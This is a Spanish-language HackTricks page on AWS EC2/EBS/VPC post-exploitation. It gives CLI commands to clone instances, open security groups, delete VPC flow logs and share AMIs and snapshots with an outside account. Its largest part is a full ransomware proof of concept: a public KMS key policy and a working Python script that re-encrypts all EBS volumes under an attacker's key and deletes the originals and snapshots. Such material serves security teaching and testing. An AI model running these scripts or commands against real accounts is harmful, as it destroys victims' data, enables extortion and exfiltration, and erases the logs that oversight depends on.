AWS - EC2, EBS, SSM & VPC Post Exploitation

Apoya HackTricks

EC2 & VPC

Para más información revisa:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

El mirroring de tráfico VPC duplica el tráfico entrante y saliente para instancias EC2 dentro de un VPC sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado comúnmente se enviaría a algo como un sistema de detección de intrusos en la red (IDS) para análisis y monitoreo. Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible de él:

Para más información revisa esta página:

AWS - Malicious VPC Mirror

Copiar Instancia en Ejecución

Las instancias usualmente contienen algún tipo de información sensible. Hay diferentes maneras de ingresar (revisa trucos de escalada de privilegios en EC2). Sin embargo, otra manera de verificar lo que contiene es crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

Volcado de Snapshot de EBS

Los snapshots son copias de seguridad de volúmenes, que usualmente contendrán información sensible, por lo tanto, revisarlos debería revelar esta información. Si encuentras un volumen sin un snapshot podrías: Crear un snapshot y realizar las siguientes acciones o simplemente montarlo en una instancia dentro de la cuenta:

AWS - EBS Snapshot Dump

Exfiltración de Datos

Exfiltración DNS

Incluso si bloqueas una EC2 para que no pueda salir tráfico, aún puede exfiltrar vía DNS.

  • VPC Flow Logs no registrará esto.

  • No tienes acceso a los registros DNS de AWS.

  • Desactiva esto configurando "enableDnsSupport" a false con:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltración vía llamadas API

Un atacante podría llamar a endpoints API de una cuenta controlada por él. Cloudtrail registrará estas llamadas y el atacante podrá ver los datos exfiltrados en los registros de Cloudtrail.

Grupo de Seguridad Abierto

Podrías obtener más acceso a servicios de red abriendo puertos de esta manera:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

Es posible ejecutar una instancia EC2 y registrarla para usarla en la ejecución de instancias ECS y luego robar los datos de las instancias ECS.

Para más información, consulta esto.

Eliminar registros de flujo de VPC

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

Compartir AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Compartir EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Una prueba de concepto similar a la demostración de Ransomware mostrada en las notas de post-explotación de S3. KMS debería ser renombrado a RMS para Ransomware Management Service por lo fácil que es usarlo para cifrar varios servicios de AWS.

Primero, desde una cuenta de AWS del 'atacante', crea una clave administrada por el cliente en KMS. Para este ejemplo, dejaremos que AWS gestione los datos de la clave por mí, pero en un escenario realista, un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la política de la clave para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta política de clave, el nombre de la cuenta era 'AttackSim' y la regla de política que permite todo el acceso se llama 'Outside Encryption'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

La regla de política de clave necesita lo siguiente habilitado para permitir la capacidad de usarla para cifrar un volumen EBS:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Ahora con la clave públicamente accesible para usar. Podemos usar una cuenta 'victim' que tiene algunas instancias EC2 activadas con volúmenes EBS no cifrados adjuntos. Los volúmenes EBS de esta cuenta 'victim' son nuestro objetivo para el cifrado, este ataque se realiza bajo la suposición de una brecha en una cuenta AWS de alto privilegio.

Pasted image 20231231172655
Pasted image 20231231172734

Similar al ejemplo de ransomware en S3. Este ataque creará copias de los volúmenes EBS adjuntos usando snapshots, usará la clave públicamente disponible de la cuenta 'attacker' para cifrar los nuevos volúmenes EBS, luego desconectará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará los snapshots utilizados para crear los nuevos volúmenes EBS cifrados.

Esto resulta en que solo los volúmenes EBS cifrados quedan disponibles en la cuenta.

Pasted image 20231231173338

También vale la pena mencionar, el script detuvo las instancias EC2 para desconectar y eliminar los volúmenes EBS originales. Los volúmenes originales no cifrados ya no están.

Pasted image 20231231173931

A continuación, regresa a la política de clave en la cuenta 'attacker' y elimina la regla de política 'Outside Encryption' de la política de clave.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Espera un momento para que la nueva política de clave se propague. Luego, vuelve a la cuenta 'victim' e intenta adjuntar uno de los volúmenes EBS recién encriptados. Verás que puedes adjuntar el volumen.

Pasted image 20231231174131
Pasted image 20231231174258

Pero cuando intentes realmente iniciar la instancia EC2 de nuevo con el volumen EBS encriptado, simplemente fallará y pasará del estado 'pending' al estado 'stopped' para siempre, ya que el volumen EBS adjunto no puede ser desencriptado usando la clave, ya que la política de clave ya no lo permite.

Pasted image 20231231174322
Pasted image 20231231174352

Este es el script de python utilizado. Toma las credenciales de AWS para una cuenta 'victim' y un valor de ARN de AWS públicamente disponible para la clave que se usará para la encriptación. El script hará copias encriptadas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, desenganchará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS encriptados en la cuenta 'victim' objetivo. SOLO USA ESTE SCRIPT EN UN ENTORNO DE PRUEBAS, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLÚMENES EBS ORIGINALES. Puedes recuperarlos usando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero que seas consciente de que esto es una prueba de concepto de ransomware al final del día.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
Apoya a HackTricks

Last updated